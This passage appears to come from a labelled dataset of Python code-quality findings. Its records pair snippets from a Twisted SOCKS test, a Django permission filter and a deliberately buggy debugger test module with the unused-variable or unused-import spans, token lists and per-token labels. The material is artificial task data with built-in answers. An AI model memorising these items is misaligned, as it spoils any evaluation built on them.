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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
nlloyd/SubliminalCollaborator/libs/twisted/test/test_socks.py
[ { "content": " def test_eofRemote(self):\n self.sock.dataReceived(\n struct.pack('!BBH', 4, 1, 34)\n + socket.inet_aton('1.2.3.4')\n + 'fooBAR'\n + '\\0')\n sent = self.sock.transport.value()\n self.sock.transport.clear()\n\n # pass some data through\n self.sock.dataReceived('hello, world')\n self.assertEqual(self.sock.driver_outgoing.transport.value(),\n 'hello, world')\n\n # now close it from the server side\n self.sock.driver_outgoing.transport.loseConnection()\n self.sock.driver_outgoing.connectionLost('fake reason')", "metadata": "root.Connect.test_eofRemote", "header": "['class', 'Connect', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 217 }, { "content": " def test_eofLocal(self):\n self.sock.dataReceived(\n struct.pack('!BBH', 4, 1, 34)\n + socket.inet_aton('1.2.3.4')\n + 'fooBAR'\n + '\\0')\n sent = self.sock.transport.value()\n self.sock.transport.clear()\n\n # pass some data through\n self.sock.dataReceived('hello, world')\n self.assertEqual(self.sock.driver_outgoing.transport.value(),\n 'hello, world')\n\n # now close it from the client side\n self.sock.connectionLost('fake reason')", "metadata": "root.Connect.test_eofLocal", "header": "['class', 'Connect', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 236 } ]
[ { "span": "sent ", "start_line": 223, "start_column": 8, "end_line": 223, "end_column": 12 }, { "span": "sent ", "start_line": 242, "start_column": 8, "end_line": 242, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Connect_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "eof", "Remote_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "sock_", "._", "data", "Received_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "struct_", "._", "pack_", "(_", "'!", "BB", "H", "'_", ",_", "4_", ",_", "1_", ",_", "34_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "socket_", "._", "inet", "\\u", "ato", "n_", "(_", "'", "1.2", ".3", ".4", "'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "'", "foo", "BAR", "'_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "'\\\\", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sent_", "=_", "self_", "._", "sock_", "._", "transport_", "._", "value_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sock_", "._", "transport_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass", " ", "some", " ", "data", " ", "through_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "sock_", "._", "data", "Received_", "(_", "'", "hell", "o", ",", " ", "world", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "sock_", "._", "driver", "\\u", "outgoing", "_", "._", "transport_", "._", "value_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hell", "o", ",", " ", "world", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "now", " ", "close", " ", "it", " ", "from", " ", "the", " ", "server", " ", "side_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "sock_", "._", "driver", "\\u", "outgoing", "_", "._", "transport_", "._", "lose", "Connection_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sock_", "._", "driver", "\\u", "outgoing", "_", "._", "connecti", "on", "Lost", "_", "(_", "'", "fake", " ", "reason", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connect_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "eof", "Local_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "sock_", "._", "data", "Received_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "struct_", "._", "pack_", "(_", "'!", "BB", "H", "'_", ",_", "4_", ",_", "1_", ",_", "34_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "socket_", "._", "inet", "\\u", "ato", "n_", "(_", "'", "1.2", ".3", ".4", "'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "'", "foo", "BAR", "'_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "'\\\\", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sent_", "=_", "self_", "._", "sock_", "._", "transport_", "._", "value_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sock_", "._", "transport_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pass", " ", "some", " ", "data", " ", "through_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "sock_", "._", "data", "Received_", "(_", "'", "hell", "o", ",", " ", "world", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "sock_", "._", "driver", "\\u", "outgoing", "_", "._", "transport_", "._", "value_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "hell", "o", ",", " ", "world", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "now", " ", "close", " ", "it", " ", "from", " ", "the", " ", "client", " ", "side_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "sock_", "._", "connecti", "on", "Lost", "_", "(_", "'", "fake", " ", "reason", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
fp7-ofelia/ocf/expedient/src/python/expedient/common/utils/templatetags/ch_extras.py
[ { "content": "@register.filter\ndef is_super_user(user):\n \"\"\"\n Checks if the given user is superuser.\n\n @param user User object\n @return boolean True or False depending on permissions for user\n \"\"\"\n isSuperUser = False\n if (has_permission(user, User, \"can_manage_users\")):\n return True\n else:\n return False", "metadata": "root.is_super_user", "header": "['module', '___EOS___']", "index": 7 } ]
[ { "span": "isSuperUser ", "start_line": 15, "start_column": 4, "end_line": 15, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "register_", "._", "filter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "is", "\\u", "super", "\\u", "user_", "(_", "user_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Check", "s", " ", "if", " ", "the", " ", "give", "n", " ", "user", " ", "is", " ", "super", "user", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "user", " ", "User", " ", "object", "\\", "10", ";", " ", " ", " ", " ", "@", "return", " ", "boolean", " ", "Tru", "e", " ", "or", " ", "Fal", "se", " ", "depend", "ing", " ", "on", " ", "permissi", "ons", " ", "for", " ", "user", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "Super", "User_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "has", "\\u", "permission_", "(_", "user_", ",_", "User_", ",_", "\"", "can", "\\u", "manage", "\\u", "users", "\"_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
kdart/pycopia/debugger/test.py
[ { "content": "#!/usr/bin/python2.7\n# -*- coding: utf-8 -*-\n# vim:ts=4:sw=4:softtabstop=4:smarttab:expandtab\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\n\nPurposly buggy module to test the new debugger.\nRun in debug mode.\n\n\"\"\"\n\nimport unittest\n\nfrom pycopia import debugger\nfrom pycopia import autodebug\n\n\n# functions to get a reasonably sized stack\n\n\n\n\n\n\n\n\n\nf5() # will enter debugger since auto debug enabled.\n\n\nif __name__ == '__main__':\n unittest.main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def indexerror(idx=0):\n L = []\n s = \"string\"\n i = 1\n l = 2L\n f = 3.14159265\n return L[idx] # will raise index error", "metadata": "root.indexerror", "header": "['module', '___EOS___']", "index": 28 }, { "content": "def f1(*args):\n x = 1\n return indexerror(*args)", "metadata": "root.f1", "header": "['module', '___EOS___']", "index": 37 }, { "content": "def f2(*args):\n x = 2\n return f1(*args)", "metadata": "root.f2", "header": "['module', '___EOS___']", "index": 41 }, { "content": "def f3(*args):\n x = 4\n return f2(*args)", "metadata": "root.f3", "header": "['module', '___EOS___']", "index": 45 }, { "content": "def f4(*args):\n x = 4\n return f3(*args)", "metadata": "root.f4", "header": "['module', '___EOS___']", "index": 49 }, { "content": "def f5(*args):\n x = 5\n return f4(*args)", "metadata": "root.f5", "header": "['module', '___EOS___']", "index": 53 }, { "content": "class Buggy(object):\n", "metadata": "root.Buggy", "header": "['module', '___EOS___']", "index": 58 }, { "content": " def __init__(self):\n self.D = {}", "metadata": "root.Buggy.__init__", "header": "['class', 'Buggy', '(', 'object', ')', ':', '___EOS___']", "index": 59 }, { "content": " def keyerror(self, key):\n l = 1\n return self.D[key]", "metadata": "root.Buggy.keyerror", "header": "['class', 'Buggy', '(', 'object', ')', ':', '___EOS___']", "index": 62 }, { "content": "class DebuggerTests(unittest.TestCase):\n\n", "metadata": "root.DebuggerTests", "header": "['module', '___EOS___']", "index": 67 }, { "content": " def setUp(self):\n pass", "metadata": "root.DebuggerTests.setUp", "header": "['class', 'DebuggerTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 68 }, { "content": " def test_debugger(self):\n \"\"\"Test documentation.\"\"\"\n pass\n #f5() # will enter debugger since auto debug enabled.", "metadata": "root.DebuggerTests.test_debugger", "header": "['class', 'DebuggerTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 71 }, { "content": " def test_debuginclass(self):\n #b = Buggy()\n #b.keyerror(\"bogus\")\n pass", "metadata": "root.DebuggerTests.test_debuginclass", "header": "['class', 'DebuggerTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 76 } ]
[ { "span": "from pycopia import debugger", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 28 }, { "span": "from pycopia import autodebug", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 29 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python", "2.7", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "vim", ":", "ts", "=", "4", ":", "sw", "=", "4", ":", "soft", "tabs", "top", "=", "4", ":", "smart", "tab", ":", "expand", "tab_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "\\", "10", ";", "Pur", "pos", "ly", " ", "bug", "gy", " ", "module", " ", "to", " ", "test", " ", "the", " ", "new", " ", "debugg", "er", ".", "\\", "10", ";", "Run", " ", "in", " ", "debug", " ", "mode", ".", "\\", "10", ";", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pycopia_", "import_", "debugger_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pycopia_", "import_", "autode", "bug_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "function", "s", " ", "to", " ", "get", " ", "a", " ", "reason", "abl", "y", " ", "sized", " ", "stack_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f5_", "(_", ")_", "#", " ", "will", " ", "enter", " ", "debugg", "er", " ", "sinc", "e", " ", "auto", " ", "debug", " ", "enable", "d", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unittest_", "._", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "indexer", "ror_", "(_", "idx_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "L_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "\"", "string", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "2_", "L_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "3.14", "159", "265_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "L_", "[_", "idx_", "]_", "#", " ", "will", " ", "raise", " ", "index", " ", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "f1_", "(_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "indexer", "ror_", "(_", "*_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "f2_", "(_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f1_", "(_", "*_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "f3_", "(_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f2_", "(_", "*_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "f4", "_", "(_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f3_", "(_", "*_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "f5_", "(_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f4", "_", "(_", "*_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Bug", "gy_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Bug", "gy_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "D_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Bug", "gy_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "key", "error_", "(_", "self_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "l_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "D_", "[_", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Debugger", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Debugger", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Debugger", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "debugger_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "documentation", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "f5", "()", " ", "#", " ", "will", " ", "enter", " ", "debugg", "er", " ", "sinc", "e", " ", "auto", " ", "debug", " ", "enable", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Debugger", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "debug", "incl", "ass_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "b", " ", "=", " ", "Bug", "gy", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "b", ".", "key", "error", "(\"", "bog", "us", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
rcbops/glance-buildpackage/glance/tests/unit/test_clients.py
